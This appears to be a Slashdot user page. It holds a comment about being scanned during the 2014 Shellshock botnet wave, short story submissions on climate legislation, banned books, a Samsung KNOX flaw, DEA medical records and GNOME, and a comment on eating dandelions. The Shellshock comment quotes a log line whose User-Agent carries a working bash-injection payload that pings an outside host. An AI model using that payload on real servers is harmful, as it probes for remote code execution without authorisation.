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Comment Re:Only the beginning (Score 3, Informative) 236

by geckoFeet (#47999635) Attached to: First Shellshock Botnet Attacking Akamai, US DoD Networks

Yay! I have been scanned - but my little webserver doesn't run any cgi scripts, so they got 404'd. They were looking specifically for defaultwebpage.cgi:

root@stinky:/home/gecko# grep cgi /var/log/apache2/access*|egrep "};|}\s*;" /var/log/apache2/access.log:89.207.135.125 - - [25/Sep/2014:02:28:52 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 319 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Submission + - Britain's Costliest Mistake? (theregister.co.uk) 2

Submitted by RoccamOccam
RoccamOccam writes: Five years after UK passage of the 2008 Climate Change Act, the chief proponent of the act, Nick Stern, has responded to "A Review of the Stern Review". The "Stern Review" was a massive economic assessment that helped convince Parliament that climate mitigation measures would be worth the cost.

The result was quite possibly the most expensive legislation ever passed by Parliament. However, it appears that Stern’s analysis may have been deeply flawed.

Submission + - The Shadowy Darknet will be the Only Truly World-wide Web (ibtimes.co.uk)

Submitted by DavidGilbert99
DavidGilbert99 writes: “The shadowy Darknet then will be the only truly world-wide web” — this is the view of Alexander Gostev, chief security expert at Kaspersky Lab who believes the fallout from Edward Snowden's leaks may lead at some point to the "collapse of the current Internet, which will break into dozens of national networks."

Submission + - Increasing Number of Books Banned in the USA (npr.org)

Submitted by vikingpower
vikingpower writes: Isabel Allende's The House of The Spirits. Sherman Alexie's The Absolutely True Diary of a Part-Time Indian. Alice Walker's The Color Purple. Toni Morrison's The Bluest Eye. Ralph Ellison's The Invisible Man.

What do all these titles have in common with each other ? Exactly, they are banned somewhere, on some school, in the USA. . Yes, in 2013. A project named The Kids' Right to Read ( by the National Coalition Against Censorship ) investigated three times the average number of incidents, adding to an overall rise in cases for the entire year, according to KRRP coordinator Acacia O'Connor. To date, KRRP has confronted 49 incidents in 29 states this year, a 53% increase in activity from 2012. During the second half of 2013, the project battled 31 new incidents, compared to only 14 in the same period last year.

"It has been a sprint since the beginning of the school year," O'Connor said. "We would settle one issue and wake up the next morning to find out another book was on the chopping block."

The NCAC also offers a Book Censorship Toolkit on its website. If such a toolkit is needed at all, does this indicate that intellectual freedom and free speech are ( slowly ) eroding in the USA ?

Submission + - Samsung Galaxy S4 Security Vulnurability (bgu.ac.il)

Submitted by olsmeister
olsmeister writes: The Samsung KNOX enterprise security system (presumably a play on Ft Knox, the location of the United States Bullion Depository) contains a security vulnurability that could put both personal and business data at risk. This is according to a discovery by a Ph.D. student at the Ben Gurion University of the Negev in Israel. This is the security system used in Samsung's flagship Galaxy S4 phone, which Samsung hopes will allow it to compete with BlackBerry in government and enterprise applications. The flaw could allow attackers to access secure data, as well as load malicious applications.

Submission + - Medical records given to pharmacies are not constitutionally protected, says DEA (theverge.com) 1

Submitted by schwit1
schwit1 writes: Like emails and documents stored in the cloud, your prescription medical records may have a tenuous right to privacy. In response to a lawsuit filed by the American Civil Liberties Union (ACLU) over the privacy of certain medical records, the US Drug Enforcement Administration (DEA) is arguing that citizens whose medical records are handed over to a pharmacy — or any other third-party — have "no expectation of privacy" for that information.

Submission + - Middle-click Paste? Not For Long

Submitted by Anonymous Coward
An anonymous reader writes: Select to copy and middle-click to paste. That's very convenient usability feature associated with UNIX graphical environments. But it is confusing for new users, so the ability to middle-click paste was briefly removed from GNOME 3.10. It was restored few days later, but with clear message: middle-click paste will be permanently removed from next GNOME version.

Submission + - How Old is the Average Country? (vice.com)

Submitted by Daniel_Stuckey
Daniel_Stuckey writes: I've crashed quite a few birthday parties lately, which has led to me not only botching the lyrics and the cadence of each birthday song, but aso guessing how old everyone is I'm hanging out with. Today is the United States' 237th birthday. And while people often remark that America is pretty young compared to other countries, aren't they actually flattering the 22nd oldest country in the world?

I did some calculations in Excel, using independence dates provided on About.com, and found the average age of a country is about 158.78 years old. Now, before anyone throws a tizzy about what makes a country a country, about nations, tribes, civilizations, ethnic categories, or about my makeshift methodology, keep in mind, I simply assessed 195 countries based on their political sovereignty. That is the occasion we're celebrating today, right? Try this map.

Submission + - We're your government, and we know who you are. (wired.com) 3

Submitted by Doug Otto
Doug Otto writes: Buried deep in the bowels of a bi-partisan immigration reform bill is a "photo tool." The goal is to create a photo database consisting of every citizen. Of course the database would be used only for good, and never evil.

Comment Eat them (Score 1) 1

Jeez. Dandelion greens are delicious - you have to get them young; the old ones can get bitter. *Very* young ones can be eaten raw, but usually they're blanched. One traditional dressing is (hot) bacon fat (can be mixed with crispy bacon bits), vinegar, and sugar. There are lots of recipes for dandelion greens around.

The unopend buds are also good; just saute them in a little butter. They taste sort of like a cross between mushrooms and asparagus.

Some people roast the (very long) tap root and mix it with their coffee. I've never tried this.

You can also make dandelion wine.

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